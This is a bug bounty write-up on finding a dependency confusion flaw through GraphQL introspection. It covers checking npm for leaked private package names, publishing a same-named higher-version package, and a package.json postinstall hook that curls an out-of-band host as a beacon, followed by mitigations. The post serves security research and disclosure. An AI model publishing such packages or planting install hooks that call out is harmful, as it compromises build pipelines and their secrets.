How I Discovered a Live Dependency Confusion Vulnerability in a GraphQL-Based Web Application
In this write-up, I will walk you through how I discovered a live Dependency Confusion vulnerability using GraphQL introspection and validated the possibility of internal package resolution — all without revealing the target or module names for privacy and responsible disclosure.
🧠 What is Dependency Confusion?
Dependency Confusion (a.k.a. “substitution attack”) occurs when internal packages used by a company’s software are not published to a public registry (like npm), and an attacker publishes a higher-versioned package with the same name. If the build system pulls from the public registry first, the attacker’s code can get executed during CI/CD.
🛰 Recon Phase: Introspection to the Rescue
The GraphQL endpoint allowed introspection queries, revealing internal schema objects including the following field:
query {
targetQuery {
node
subdomain
serverVersion
commit
packages
}
}
The response leaked internal package names such as:
@company/target-module-search@2.3.4
@company/target-module-browse@3.1.2
...
This confirmed the presence of private scoped packages, which are common in enterprise monorepos.
🚨 Exploitation: Poisoning the Registry
I picked one internal package that wasn’t found in the npm registry when queried:
npm view @company/target-module-search
# Result: 404 Not Found
I then published a harmless PoC package using the same name but with a higher version:
{
"name": "@company/target-module-search",
"version": "3.0.0",
"main": "index.js",
"scripts": {
"postinstall": "curl -H 'X-Author: Researcher' https://<OAST_URL>"
}
}
After publishing the package, I monitored an out-of-band interaction platform (oast.fun
) to detect any beacons indicating the package was pulled.
✅ Results
A beacon was successfully received at the OAST listener when the internal build system resolved and executed the malicious package, confirming that:
- The injected
postinstall
script was executed, resulting in Remote Code Execution (RCE). - The internal CI/CD system is vulnerable to dependency poisoning via public registries.
- The private package was being pulled from the public npm registry, despite being internal.
This demonstrates a fully weaponizable dependency confusion vulnerability, not just theoretical.
🛡 Impact
If this package were used internally, the attacker’s code could:
- Leak environment variables
- Interact with internal systems
- Compromise CI/CD secrets
- Pivot deeper into internal networks
🔁 Mitigation
- Always scope private packages with an internal registry.
- Configure
.npmrc
to prioritize private registry for all@targetcompany/*
packages. - Use allow-lists in CI/CD to avoid unexpected packages.
🎯 Conclusion
This was a practical, non-destructive demonstration of a live Dependency Confusion vector discovered via GraphQL introspection. Even without exploitation, responsibly disclosing this helps the vendor tighten their security posture.
💬 For those interested in bug bounty hunting or supply-chain threats — this vector is still underexplored. Keep hunting 👾